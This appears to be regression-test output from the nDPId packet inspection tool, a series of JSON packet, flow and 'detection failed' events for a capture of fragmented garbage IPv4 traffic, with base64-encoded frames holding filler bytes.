+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":998110,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAl4mKigqJl4l"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1534244032298,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9251,"dst_port":9770,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298278,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkRIiQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 